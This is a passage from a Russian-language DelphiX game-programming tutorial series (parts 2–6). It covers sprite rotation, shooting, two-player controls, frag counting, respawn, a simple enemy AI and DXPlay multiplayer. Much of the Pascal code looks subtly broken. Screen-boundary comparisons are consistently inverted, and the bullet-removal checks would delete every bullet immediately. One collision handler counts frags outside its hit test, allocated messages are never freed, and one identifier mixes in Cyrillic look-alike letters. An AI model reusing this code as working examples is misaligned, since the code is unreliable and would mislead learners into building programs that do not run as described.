    Image := Form1.dxImageList1.Items.Find('Ex');
    Width := Image.Width;
    Height := Image.Height;
    AnimCount := Image.PatternCount;
    AnimLooped := False;
    AnimSpeed := 15/1000;
    AnimPos := 0;
end;
и в процедуре TPlayerSprite.DoCollision вставляем следущий код:
procedure TPlayerSprite.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
  if sprite is Tplayerfa then
  begin
    TPlayerSprite(Sprite).Hit;
    dead;
  end;
  Done := False;
end;
Этот код надо разместить и в Tboss. DoCollision. И под конец маленький бонус: Можно создать бэкграунд, без создания нового класса достаточно в FormCreate написать:
  with TBackgroundSprite.Create(DXSpriteEngine1.Engine) do
  begin
    SetMapSize(1,1);
    Image := dxImageList1.Items.Find('bgr');
    Z:= -2;
    Tile := True;
  end;
Где bgr спрайт-бэкграунд. Вот мой БГ: Статьи по Delphi (008)… Нравиться? Здесь можно скачать исподники всей этой части. part2.rar (77,5 kB) Автор: Влад Энгельгардт

Изучаем DelphiX - Часть 3 - Крутим спрайты.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

"Крутимся не накрутимся:)".

В DelphiX существует маленькая проблема, это разворот спрайтов. Она решается относительно просто, сейчас я объясню, как и что. Для начала создадим новый проект в Delphi, подстроим его под шаблон (об этом написано в одной из частей цикла). Далее скачиваем мною модернизированный DXSprite.pas (Dxsprite.rar), в папке, где у вас установлен DelphiX есть папочка Source, копируем его туда. В DXSprite.pas я добавил всего одну процедуру Angle это и есть процедура разворота, как она работает можете посмотреть, сами поковырявшись в исходниках. Ну что приступим, для начала создадим простенький пример (в архиве с исходниками в папке 3.1).

Создаём новый класс:

TPlayerone = class(TImageSprite)
  protected
    procedure DoMove(MoveCount: Integer); override;
end;
Соответственно и процедуру DoMove к этому классу:
Procedure TPlayerone.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  x:=x+cos256(Angle)*speed; //обработчик движения по X
  y:=y+sin256(Angle)*speed; //обработчик движения по Y
  if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
    y := form1.DXDraw1.SurfaceHeight-image.Height;
  if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
    x := form1.DXDraw1.SurfaceWidth -image.Width;
  if  y >= 0 then
    y := 1;
  if  x >= 0 then
    x:=1;
  begin
    speed:=0;     //когда ничего не делаем, скорость равна 0
    if isLeft in Form1.DXInput1.States then angle:=angle-5;
    if isRight in Form1.DXInput1.States then angle:=angle+5;
    if isup in Form1.DXInput1.States then speed:=4;
    if isDown in Form1.DXInput1.States then speed:=-4;
  end;
end;
И перед implementation в Var добавляем:
var
  Form1: TForm1;
  speed: integer;  // Это у нас переменная скорости объекта

Не забудь в DXtimer добавить:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
begin
  if not DXDraw1.CanDraw then exit;
  DXInput1.Update;
  DXSpriteEngine1.Move(LagCount);
  DXSpriteEngine1.Dead;
  DXDraw1.Surface.Fill(0);
  DXSpriteEngine1.Draw;
  DXDraw1.Flip;
end;
И в процедуре FormCreate создаём наш спрайт:
procedure TForm1.FormCreate(Sender: TObject);
begin
  with TPlayerone.Create(Dxspriteengine1.Engine) do
  begin
    PixelCheck := True;
    Image := form1.dxImageList1.Items.Find('krut');
    x:=350;
    y:=250;
    Width := Image.Width;
    Height := Image.Height;
  end;
end;
Далее в DXImageList добавляем спрайт "krut" он у меня выглядит вот так: Статьи по Delphi (008)… И всё, простейший пример с Angle готов.

Теперь давайте усложним наш пример и сделаем так что бы игрок стрелял в ту сторону куда он смотрит, для этого создаём новый класс для патрона. Выглядит он так:

TPlayerFa = class(TImageSprite)
  protected
    procedure DoMove(MoveCount: Integer); override;
  private
    anglefa:integer; // Угол под которым летит пуля
  public
    constructor Create(AParent: TSprite); override;
    destructor Destroy; override;
end;
Перед implementation добавляется ещё одна переменная ang:
var
  Form1: TForm1;
  speed,ang: integer;
Она нужна для выноса значения Angle плеера. А зачем нужен вынос, спросишь ты, да всё очень просто, он нужен для патрона, чтобы указывать ему, под каким углом лететь т.е. под каким углом находиться плеер под таким углом и летит патрон. Маленько модернизируем класс плеера:
TPlayerone = class(TImageSprite)
  private
    lngpolet:integer;  // мы же не хотим, чтобы наши пули летали кучами
    oldlngpolet:integer; // а мы сделаем чтобы летали стаями :)
  protected
    procedure DoMove(MoveCount: Integer); override;
end;
Сразу, чтобы не забыть конструктор и деструктор для патрона:
constructor TPlayerFa.Create(AParent: TSprite);
begin
  inherited Create(AParent);
  Image := form1.DXImageList1.Items.Find('pul');
  Width := Image.Width;
  Height := Image.Height;
end;
destructor TPlayerFa.Destroy;
begin
  inherited Destroy;
end;
Ну а теперь движение патрона:
procedure TPlayerFa.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  angle := anglefa;
  x:=x+cos256(angle)*7; // цифра 7 здесь скорость патрона и изменять её надо
  y:=y+sin256(angle)*7; // пропорционально
  if X<= 800 then Dead;
  if y<= 600 then Dead;
  if X>= 0 then Dead;
  if y>= 0 then Dead;
  Collision;
end;
Надеюсь, ты помнишь, на прошлых уроках я рассказывал тебе об DXInput, так вот теперь нам понадобятся дополнительные кнопочки. Их значения ты можешь поменять, два раза кликнув на самом компоненте. Так вот, гляди процедуру DoMove у игрока:
Procedure TPlayerone.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  ang:=angle; // наша переменная для патрона
  x:=x+cos256(Angle)*speed;
  y:=y+sin256(Angle)*speed;
  if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
    y := form1.DXDraw1.SurfaceHeight-image.Height;
  if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
    x := form1.DXDraw1.SurfaceWidth -image.Width;
  if  y >= 0 then
    y := 1;
  if  x >= 0 then
    x:=1;
  begin
    speed:=0;
    if isLeft in Form1.DXInput1.States then angle:=angle-5;
    if isRight in Form1.DXInput1.States then angle:=angle+5;
    if isup in Form1.DXInput1.States then speed:=4;
    if isDown in Form1.DXInput1.States then speed:=-4;
    if isbutton1 in Form1.DXInput1.States then
    begin
      if lngpolet-oldlngpolet<=250 then
      begin
        Inc(lngpolet);
        with TPlayerFa.Create(Engine) do
        begin
          Image := form1.DXImageList1.Items.Find('pul');
          X:=self.X+cos256(ang)*50;  // здесь 50 расстояние патрона от плеера
          Y:=self.y+sin256(ang)*50;   //они должны быть пропорциональны
          anglefa:=ang; // передаём угол
          oldlngpolet := lngpolet;
        end;
      end;
    end;
    lngpolet := lngpolet + MoveCount;
  end;
end;
И последнее что осталось это создать спрайт "pul" в DXimageList. Он выглядит у меня вот так: Статьи по Delphi (008)… Что, устал? Ну, расслабься, если хочешь. Дальше мы сделаем следующее: 1. Добавим второго плеера 2. И научимся делать стрэйфы Для начала установим новую раскладку в Dxinput. Для этого два раза кликнем по кампоненту Dxinput и преходим в закладку Keybord: Сразу маленький совет: чтобы на одной кнопке у тебя не было 300 действий для каждой метки, назначай только одну кнопку. Я выбрал такой вариант для первого игрока: Up- Num 8 Down - Num 5 Left - Num 4 Right - Num 6 Button1 - Num 0 Button2 - Num 7 Button3 - Num 9 Для второго игрока: Button4 - T Button5 -G Button6 -F Button7- H Button8 -E Button9 -R Button10 -Y

Посмотрите на клаву и поймёте раскладку. Ну что, приступаем, для начала перед Implementation добавим ещё две переменные, только уже для второго игрока:

var
  Form1: TForm1;
  speed,speed2,ang,ang2: integer;
implementation

Теперь соответственно добавляем 2 игрока и модернизируем первого:
TPlayerone = class(TImageSprite)
  private
    lngpolet:integer;
    oldlngpolet:integer;
  protected
    procedure DoMove(MoveCount: Integer); override;
    //Добавили столкновение
    procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
end;
TPlayertwo = class(TImageSprite)
  private
    lngpolet:integer;
    oldlngpolet:integer;
  protected
    procedure DoMove(MoveCount: Integer); override;
    procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
end;
и теперь обрабатываем DoCollision у обоих плееров:
procedure TPlayerone.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
  if Sprite is Tplayerfa then dead;
end;
procedure TPlayertwo.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
  if Sprite is Tplayerfa then dead;
end;
Процедура DoMove у первого игрока в корне изменяется:
Procedure tPlayerone.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  ang:=angle;
  x:=x+cos256(Angle)*speed;
  y:=y+sin256(Angle)*speed;
  if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
    y := form1.DXDraw1.SurfaceHeight-image.Height;
  if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
    x := form1.DXDraw1.SurfaceWidth -image.Width;
  if  y >= 0 then
    y := 1;
  if  x >= 0 then
    x:=1;
  begin
    speed:=0;
    if isLeft in Form1.DXInput1.States then angle:=angle-5;
    if isRight in Form1.DXInput1.States then angle:=angle+5;
    if isup in Form1.DXInput1.States then speed:=4;
    if isDown in Form1.DXInput1.States then speed:=-4;
    if isbutton2 in Form1.DXInput1.States then
    begin
      x:= x+cos256 (angle+64)*3; // это у нас стрейф
      y:= y+sin256 (angle+64)*3; // 3 - на сколько быстро стрейфиться
    end;
    if isbutton3 in Form1.DXInput1.States then
    begin
      x:= x+cos256 (angle-64)*3; //тоже стрейф, только в
      y:= y+sin256 (angle-64)*3; //другую сторону
    end;
    if isbutton1 in Form1.DXInput1.States then
    begin
      if lngpolet-oldlngpolet<=250 then
      begin
        Inc(lngpolet);
        with TPlayerFa.Create(Engine) do
        begin
          Image := form1.DXImageList1.Items.Find('pul');
          X:=self.X+cos256(ang)*50;
          Y:=self.y+sin256(ang)*50;
          anglefa:=ang;
          oldlngpolet := lngpolet;
        end;
      end;
    end;
    lngpolet := lngpolet + MoveCount;
  end;
  Collision;
end;
Аналогично и у второго плеера:
Procedure TPlayertwo.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  ang2:=angle;
  x:=x+cos256(Angle)*speed2;
  y:=y+sin256(Angle)*speed2;
  if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
    y := form1.DXDraw1.SurfaceHeight-image.Height;
  if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
    x := form1.DXDraw1.SurfaceWidth -image.Width;
  if  y >= 0 then
    y := 1;
  if  x >= 0 then
    x:=1;
  begin
    speed2:=0;
    if isbutton6 in Form1.DXInput1.States then angle:=angle-5;
    if isbutton7 in Form1.DXInput1.States then angle:=angle+5;
    if isbutton4 in Form1.DXInput1.States then speed2:=4;
    if isbutton5 in Form1.DXInput1.States then speed2:=-4;
    if isbutton9 in Form1.DXInput1.States then
    begin
      x:= x+cos256 (angle-64)*3;
      y:= y+sin256 (angle-64)*3;
    end;
    if isbutton10 in Form1.DXInput1.States then
    begin
      x:= x+cos256 (angle+64)*3;
      y:= y+sin256 (angle+64)*3;
    end;
    if isbutton8 in Form1.DXInput1.States then
    begin
      if lngpolet-oldlngpolet<=250 then
      begin
        Inc(lngpolet);
        with TPlayerFa.Create(Engine) do
        begin
          Image := form1.DXImageList1.Items.Find('pul');
          X:=self.X+cos256(ang2)*50;
          Y:=self.y+sin256(ang2)*50;
          anglefa:=ang2;
          oldlngpolet := lngpolet;
        end;
      end;
    end;
    lngpolet := lngpolet + MoveCount;
  end;
  Collision;
end;
И последнее в FormCreate добавляем, чтобы второй игрок креатился:
procedure TForm1.FormCreate(Sender: TObject);
begin
  with TPlayerone.Create(Dxspriteengine1.Engine) do
  begin
    PixelCheck := True;
    Image := form1.dxImageList1.Items.Find('krut');
    x:=350;
    y:=250;
    Width := Image.Width;
    Height := Image.Height;
  end;
  with TPlayertwo.Create(Dxspriteengine1.Engine) do
  begin
    PixelCheck := True;
    Image := form1.dxImageList1.Items.Find('krut');
    x:=50;
    y:=250;
    Width := Image.Width;
    Height := Image.Height;
  end;
И пару советов, для дебага можно выводить любую переменную на экран. Для этого в DXTimer добавим следующие строчки:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
begin
  if not DXDraw1.CanDraw then exit;
  DXInput1.Update;
  DXSpriteEngine1.Move(LagCount);
  DXSpriteEngine1.Dead;
  DXDraw1.Surface.Fill(0);
  DXSpriteEngine1.Draw;
  with DXDraw1.Surface.Canvas do
  begin
    Brush.Style := bsClear; //стиль
    Font.Color := clWhite; //цвет текста
    Font.Size := 12; // размер
    Textout(0, 0, 'FPS: '+inttostr(DXTimer1.FrameRate)); //вывод текста
    Textout(0, 24, 'спрайты: '+inttostr(DXSpriteEngine1.Engine.AllCount));
    Release;
  end;
  DXDraw1.Flip;
end;
Здесь я вывожу Fps (кадры в секунду), и количество спрайтов на экране. Д/З: 1. Сделай анимированные патроны. 2. Реализуй, чтобы вторым игроком управлял не человек, а созданный тобой интеллект. 3. Сделай так, чтобы вёлся счёт фрагов. 4. После смерти любого игрока, чтобы через 5 сек. происходил респаун. Вот архив всего, что мы сегодня натворили: part3.rar(18kB). Если у вас возникли какие-то вопросы или проблемы, пишите мне. Автор: Влад Энгельгардт

Изучаем DelphiX - Часть 4 - Разбираем классы.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

"Классы - это хорошо :)".

В этой части, дорогие мои читатели, мы разберем классы. Здесь будет рассказано, как создать грамотный, читаемый, и не тормозной код (на сколько это возможно). Для начала реализуем наше Д/З: 1. Сделай анимированные патроны. Для начала я заменил в DXImageList спрайт "pul" другой картинкой вот такой: Статьи по Delphi (008)… а размер кадра 26X40.

В конструктор патрона нужно вставить анимацию:

constructor TPlayerFa.Create(AParent: TSprite);
begin
  inherited Create(AParent);
  Image := form1.DXImageList1.Items.Find('pul');
  Width := Image.Width;
  Height := Image.Height;
  AnimCount := Image.PatternCount; // вот эти
  AnimLooped := True;  // три строчки
  AnimSpeed := 10 / 1000; // с которыми вы уже знакомы
end;
Вот и всё с этим вопросом. 2. Реализуй, чтобы вторым игроком управлял не человек, а созданный тобой интеллект. Я не хочу потом повторяться, об этом ты прочитаешь в 5 части, и она будет посвящена "AI". 3. Сделай так, чтобы вёлся счёт фрагов. Добавляем перед implementation в Var две переменные: Fragpl, fragpl2 :integer;

И для отображения наших фрагов вставляем следующие строчки и он изменяется следующим образом:

procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
begin
  if not DXDraw1.CanDraw then exit;
  DXInput1.Update;
  DXSpriteEngine1.Move(LagCount);
  DXSpriteEngine1.Dead;
  DXDraw1.Surface.Fill(0);
  DXSpriteEngine1.Draw;
  with DXDraw1.Surface.Canvas do
  begin
    Brush.Style := bsClear;
    Font.Color := clWhite;
    Font.Size := 12;
    //это первого плеера фраги
    Textout(30, 35, 'Фраги первого игрока: '+inttostr(fragpl));
    //это второго плеера
    Textout(240, 35, 'Фраги второго игрока: '+inttostr(fragpl2));
    Textout(0, 0, 'FPS: '+inttostr(DXTimer1.FrameRate));
    Textout(0, 24, 'Спрайтов: '+inttostr(DXSpriteEngine1.Engine.AllCount));
    Release;
  end;
  DXDraw1.Flip;
end;
И ещё маленький штрих, без которого некуда:
procedure TPlayerone.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
  if Sprite is Tplayerfa then dead;
  fragpl2:=fragpl2+1;
end;
procedure TPlayertwo.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
  if Sprite is Tplayerfa then dead;
  fragpl:=fragpl+1;
end;
4. После смерти любого игрока, чтобы через 5 сек. происходил респаун. Для этого на форму добавляем обыкновенный таймер. Находится он в закладки System, и выглядит также как DXTimer. И устанавливаем свойства следующим образом: Enabled = false Interval = 5000

А в событие OnTimer:

if plres=true then
  begin
    with TPlayerone.Create(Dxspriteengine1.Engine) do
    begin
      PixelCheck := True;
      Image := form1.dxImageList1.Items.Find('krut');
      x:=random(450);
      y:=random(450);
      Width := Image.Width;
      Height := Image.Height;
    end;
  end;
  if plres=false then
  begin
    with TPlayertwo.Create(Dxspriteengine1.Engine) do
    begin
      PixelCheck := True;
      Image := form1.dxImageList1.Items.Find('krut');
      x:=random(450);
      y:=random(450);
      Width := Image.Width;
      Height := Image.Height;
    end;
  end;
  timer1.Enabled := false;
end;
Теперь перед implementation в var добавляем переменную типа boolean:
plres:boolean; // переменная респавна true= погиб 1 игрок false 2 игрок.

В событие FormCreate добавляем одну единственную команду:
randomize;
И финальный штрих, процедуру DoCollision у каждого игрока изменяем следующим образом:
procedure TPlayerone.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
  if Sprite is Tplayerfa then
  begin
    dead;
    fragpl2:=fragpl2+1;
    plres:=true;
    form1.Timer1.enabled:=true;
  end;
end;
procedure TPlayertwo.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
  if Sprite is Tplayerfa then
  begin
    dead;
    fragpl:=fragpl+1;
    plres:=false;
    form1.Timer1.enabled:=true;
  end;
end;
Вот и всё, что нужно было сделать дома :).

Ну что, приступим, для начала я расскажу о разных способах создания спрайтов: 1. Это наш способ, мы использовали его в этом туториале. При создании формы, создавался объект, т.е. это выглядит так:

procedure Tformmy.FormCreate(Sender: TObject);
begin
  with TPlayer.Create(Dxspriteengine1.Engine) do
  begin
    PixelCheck := True;
    Image := dxImageList.Items.Find(skinspl1);
    x:=10;
    y:=12;
    Width := Image.Width;
    Height := Image.Height;
  end;
end;
Здесь, при создании спрайта, мы определяем его свойства. Значит, обрабатывать конструктор TPlayer нам ненужно. Следующий способ, это способ конструктора. В конструкторе мы заранее задаём свойства будущего спрайта, но Create мы обрабатываем в FormCreate.Вот пример:
constructor TPlayerFa.Create(AParent: TSprite);
begin
  inherited Create(AParent);
  Image := formmy.DXImageList.Items.Find(pus2);
  Width := Image.Width;
  Height := Image.Height;
  AnimCount := Image.PatternCount;
  AnimLooped := True;
  AnimSpeed := speedanimpul / 1000;
end;
Обычно этот способ используют для патронов. И последний способ - это создания типов. Например, мы создали класс:
TPlayer = class(TImageSpriteex)
  private
    Speed:Single;
  public
    procedure DoMove(MoveCount: Integer); override;
end;
Теперь перед implementation в var обозначаем наш класс как тип:
var
  Form1: TForm1;
  Player: TPlayer;
Implementation

Теперь в свойствах DxDraw находим событие DXDrawInitialize и вставляем следующее:
  Player := TPlayer.Create(DXSpriteEngine1.Engine);
  Player.Image := DXImageList.Items.Find('Player');
  Player.X := 250;
  Player.Y := 250;
  Player.Width := Player.Image.Width;
  Player.Height := Player.Image.Height;
Удобство использования этого способа в том что, в любой момент можно получить данные о спрайте, например, в одном из уроков, нам приходилось выносить значение angle для патрона. С использованием этого способа, все значения плеера, будут у нас под рукой. И ещё очень важный момент, создавайте свои функции и процедуры, это очень удобно. Теперь насчёт Collision: Во-первых, если объект с чем-то взаимодействует, то не забываете в DoMove вставлять: Collision; Во-вторых, там где нужен точный Collision используйте "Рiхе1Сhеск:=true"; там где точность при столкновении не нужна "PixelCheck := False;" , или вообще ничего не писать. Angle: это процедура очень удобная, но есть одно большое НО, она не подходит для разворота очень больших объектов. Происходит очень большое количество вычислений, и игра начинает зверски тормозить или точнее уменьшается число Fps. Анимация в DelphiX капризная вещь, иногда не дружит с PixelCheck, иногда с Collision, но это бывает очень редко. В анимации, как и в статичном спрайте, главное правильно указывать Transparent Color, хотя DelphiX пытается определить его сам (и у него иногда это хорошо получается), следует смотреть какой цвет он выбрал. Размер кадра вычитывается ручками (если ты рисовал сам), если ты создавал анимацию в каком-то редакторе, то ты должен знать размер кадра т.к. ты его сам указывал. С DXInput бывает всего одна проблема это смешивание кнопок, т.е. на одной кнопке находиться несколько действий. Ну, вот думаю и всё что я могу тебе посоветовать по этому поводу. Спросишь ты, а причём тут "Разбираем классы", некоторое написанное выше заставляет наши спрайты меньше тормозить, а разбираем мы их потому, что решаем что хорошо, а что плохо. Есть вопросы, пиши мне. Скачать файл с ответами на Д/З можно здесь: part4.rar. Автор: Влад Энгельгардт

Изучаем DelphiX - Часть 5 - AI.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

"Все люди - всего на всего сложный AI".

Здравствуйте! Сегодня я реализую у вас на глазах, простенький Ai который будет стрелять по вам, и двигаться к вам. Бороться с ним будет "очень просто" (клавиатуру не поломайте), не смотря на его простенькое строение. В виде шаблона я возьму пример из части 4. Начнём делать всё постепенно, нам ведь некуда тропится, правильно? Для начала в Uses добавим модуль math. В этом модуле находятся процедуры с математикой.

Далее добавляем перед implementation в var:

  plres:boolean; // plres - респаун: true - погиб 1 игрок, false - 2 игрок
  fa:boolean;    //Выстрел нашего Ai true - стрелял, false - нет
  Player:TPlayerone;
  Playerai:TPlayertwo;
Процедура Domove изменяется у нашего Ai:
Procedure TPlayertwo.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  ang2:=angle;
  if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
    y := form1.DXDraw1.SurfaceHeight-image.Height;
  if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
    x := form1.DXDraw1.SurfaceWidth -image.Width;
  if  y >= 0 then
    y := 1;
  if  x >= 0 then
    x:=1;
  begin
    if fa=true then
    begin
      if lngpolet-oldlngpolet<=250 then
      begin
        Inc(lngpolet);
        with TPlayerFa.Create(Engine) do
        begin
          Image := form1.DXImageList1.Items.Find('pul');
          X:=self.X+cos256(ang2)*55;
          Y:=self.y+sin256(ang2)*55;
          anglefa:=ang2;
          oldlngpolet := lngpolet;
        end;
        fa:=false;
      end;
    end;
    lngpolet := lngpolet + MoveCount;
  end;
  Collision;
end;
Теперь идём в FormCreate и удаляем там всё кроме
procedure TForm1.FormCreate(Sender: TObject);
begin
  randomize;
end;
Кликаем на DxDraw и в свойствах ищем: "OnInitialize" создаём событие, и вставляем:
  Playerai:= TPlayertwo.Create(DXSpriteEngine1.Engine);
  Playerai.Image := DXImageList1.Items.Find('krut');
  Playerai.X := 50;
  Playerai.Y := 250;
  Playerai.Width := Playerai.Image.Width;
  Playerai.Height := Playerai.Image.Height;
  Player:= TPlayerone.Create(DXSpriteEngine1.Engine);
  Player.Image := form1.dxImageList1.Items.Find('krut');
  Player.x:=350;
  Player.y:=250;
  Player.Width := Player.Image.Width;
  Player.Height := Player.Image.Height;
Теперь кидаем на форму простой таймер (я назвал его Ai). Параметры такие:
Enabled = true
Interval = 1
Name = Ai
Создаём событие OnTime и пишем следующее:
  playerai.angle:=trunc(1/sin256(trunc((player.y-playerai.y)/(player.x-playerai.x))));
  If (player.y-playerai.y > 0)and(player.x-playerai.x < 0) then
    playerai.angle:=playerai.angle+192;
  If (player.y-playerai.y > 0)and(player.x-playerai.x > 0) then
    playerai.angle:=playerai.angle+128;
  If (player.y-playerai.y < 0)and(player.x-playerai.x > 0) then
    playerai.angle:=playerai.angle+64;
  if player.x >= playerai.x then
    playerai.x:=playerai.x-2.5;
  if player.x < playerai.x then
    playerai.x:=playerai.x+2.5;
  if player.y >= playerai.y then
    playerai.y:=playerai.y-2.5;
  if player.y < playerai.y then
    playerai.y:=playerai.y+2.5;
  if playerai.x <= player.x-140 then
  begin
    playerai.x:=playerai.x-2.5;
  end;
  if playerai.y<= player.y-140 then
  begin
    playerai.y:=playerai.y-2.5;
  end;
  if playerai.y <=player.y-150 then
  begin
    if playerai.x <=player.x-150 then
    begin
      fa:=true;
    end;
  end;
Вот и всё, мы реализовали примитивный, и простенький Ai, ни капли не реалистичный, зато очень точный. Есть маленький совет: атакуйте издалека. Ну а теперь Д/З: 1. Осуществите более реалистичный разворот к игроку 2. Реализуйте ошибки Ai (т.е. неточное попадание и т.д.) 3. Чтобы AI не стрелял постоянно в одну и туже точку после гибели игрока 4. И вообще, придумайте что-то своё На это Д/З я не буду писать решение в следующей части. Реализуйте это, и отправьте мне на e-mail, и если всё будет хорошо, ты получишь предложение, от которого нельзя отказаться. Жду!! Всё, что мы на кодили, здесь: part5.rar. Автор: Влад Энгельгардт

Изучаем DelphiX - Часть 6 - Мультиплеер.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

"SINGLE-хорошо, а MULTIPLAYER - лучше".

Здравствуйте дорогие мои читатели. Сегодня мы будем говорить о мультиплеере. Точнее об его создании в DelphiX. В DelphiX это реализуется с помощью компонента: Статьи по Delphi (008)… DXPlay. Многие, кто пытался что-то сделать на DXPlay, сталкивался с такой проблемой: что если вызывать диалог с DXPlay то получаем непонятный текст: Статьи по Delphi (008)… Устранить ее очень легко. Дело в том, что из-за "НЕРУССКОГО" происхождения программист Hiroyuki Hori в DXPlayFm.dfm в некоторых местах поставил шрифт: "Terminal", а нам нужен "MS Sans Serif". Поэтому то и всё так исковеркано. Я исправил эту проблему вот так: Статьи по Delphi (008)… И выкладываю исправленный мною модуль DXPlayFm.dfm, и более того, он русифицирован. Так что пользуйтесь на здоровье :) DXPlayFm.rar. Сегодня мы напишем простенькую, мультиплеерную гаму. В этом я помогу вам. В качестве шаблона я буду использовать part2.rar. Мы его модернизируем, и предадим ему мультиплеерность. Сразу говорю, что part2.rar состоял из 2 интерактивных объектов, соответственно и в наш мультиплеер можно играть только вдвоем. Теперь я расскажу, как нужно модернизировать пример из второй части под шестой :). На мой взгляд, эта часть является единственно растолковывающая создание мультиплеера под DelphiX. Сколько я прочитал статей по программированию мультиплеера на DelphiX, ничего путного не увидел. Здесь я использую простой алгоритм. Принцип его следующий: передаются не координаты объекта, а клавиши, которые были нажаты на удалённой машине. Кидаем на форму компонент DXPlay и устанавливаем вот такие свойства: MaxPlayers = 2, GUID = {218A0D84-949C-42BC-A97B-40C3E3A642F1}. GUID можно создать любой достаточно нажать на кнопку New. Добавляем в uses модуль: DirectX.

После uses создаём список констант:

const
  DXACTION_MESSAGE = 1; // Это нажата клавиша действия
  DXKEY_LEFT = 1;       // двигаемся влево
  DXKEY_RIGHT = 2;      // двигаемся вправо
  DXKEY_SHOOT = 3;      // Стреляем

Создаём новый тип для наших ACTION сообщений:
type
  TDXActionMessage = record
    dwType: DWORD;
    ActionCode: Integer;
  end;
Далее идут классы спрайтов: Единственное, что поменялось это класс TBOSS, я его переименовал в TPLU. Когда мы поменяли названия то и картинку нужно изменить на более подходящую. Заходим в DXImageList и переименовываем спрайт Boss на Plu . А вот картинка: Статьи по Delphi (008)… В Var перед implementation обозначаем два наших класса:
var
  Form1: TForm1;
  plu:Tplu;
  PlayerSprite:TPlayerSprite;
implementation

Теперь подходим к процедуре TPlayerSprite.DoMove. Она должна выглядеть вот так:
Procedure TPlayerSprite.DoMove(MoveCount: Integer);
  var
    Msg: ^TDXActionMessage; //Само сообщение
    msgSize: Integer; //размер сообщения
  begin
    inherited DoMove(MoveCount);
    if form1.DXPlay1.Players.Count =2 then // пока в игру не зайдёт второй игрок
                                           // ни кто, не двинется
    begin
      if isLeft in Form1.DXInput1.States then
      begin
        x:=x-5;
        msgSize := SizeOf( TDXActionMessage );
        GetMem(Msg, MsgSize);
        msg.dwType := DXACTION_MESSAGE; //тип сообщения
        msg.ActionCode := DXKEY_LEFT; //действие
        form1.DXPlay1.SendMessage(DPID_ALLPLAYERS,msg,msgsize); //отсылаем всем
      end;
      if isRight in Form1.DXInput1.States then
      begin
        X:=x+5;
        msgSize := SizeOf( TDXActionMessage );
        GetMem(Msg, MsgSize);
        msg.dwType := DXACTION_MESSAGE;
        msg.ActionCode := DXKEY_RIGHT;
        form1.DXPlay1.SendMessage(DPID_ALLPLAYERS,msg,msgsize);
      end;
      if isup in Form1.DXInput1.States then
      begin
        if lngpolet-oldlngpolet<=900 then
        begin
          Inc(lngpolet);
          with TPlayerFa.Create(Engine) do
          begin
            msgSize := SizeOf( TDXActionMessage );
            GetMem(Msg, MsgSize);
            msg.dwType := DXACTION_MESSAGE;
            msg.ActionCode := DXKEY_SHOOT;
            form1.DXPlay1.SendMessage(DPID_ALLPLAYERS,msg,msgsize);
            PixelCheck := True;
            Image := form1.dxImageList1.Items.Find('Pula');
            X := Self.X+Self.Width  -40;
            Y := Self.Y+Self.Height -80 ;
            Width := Image.Width;
            Height := Image.Height;
            stril:=-4;
          end;
          oldlngpolet := lngpolet;
        end;
      end;
      if  y <= form1.DXDraw1.SurfaceHeight-image.Height then
        y := form1.DXDraw1.SurfaceHeight-image.Height;
      if  x <= form1.DXDraw1.SurfaceWidth -image.Width  then
        x := form1.DXDraw1.SurfaceWidth -image.Width;
      if  y >= 0 then
        y := 1;
      if  x >= 0 then
        x:=1;
      lngpolet := lngpolet + MoveCount;
      Collision;
    end;
  end;
Теперь, как вы понимаете, так как TBoss уже не существует, то и некоторые процедуры должны быть пусты:
Procedure TPLU.DoMove(MoveCount: Integer);
  begin
    inherited DoMove(MoveCount);
    Collision;
  end;
  constructor TPLU.Create(AParent: TSprite);
  begin
    inherited Create(AParent);
  end;
Далее очищаем событие для формы OnCreate и пишем в нём:
procedure TForm1.FormCreate(Sender: TObject);
begin
  try
    DXPlay1.Open;
  Except
    On E: Exception do
    begin
      Application.ShowMainForm := False;
      Application.HandleException(E);
      Application.Terminate;
    end;
  end;
  With TBackgroundSprite.Create(DXSpriteEngine1.Engine) do
  begin
    SetMapSize(1,1);
    Image := dxImageList1.Items.Find('bg');
    Z:= -2;
    Tile := True;
  end;
end;
Далее кликаем по компоненту DXPlay создаём событие: OnMessage И пишем следующее:
procedure TForm1.DXPlay1Message(Sender: TObject; From: TDXPlayPlayer;
  Data: Pointer; DataSize: Integer);
begin
  if TDXActionMessage( Data^ ).actioncode AND DXKEY_LEFT = DXKEY_LEFT then
    plu.X:=plu.X -5; // получаем сообщение влево, двигаем удалённого
                     //р1ауега в лево
  if TDXActionMessage( Data^ ).actioncode AND DXKEY_RIGHT = DXKEY_RIGHT then
    plu.X:=plu.X +5; // получаем сообщение вправо, двигаем удалённого
                     //р1ауега в право
  if TDXActionMessage( Data^ ).actioncode AND DXKEY_SHOOT = DXKEY_SHOOT then
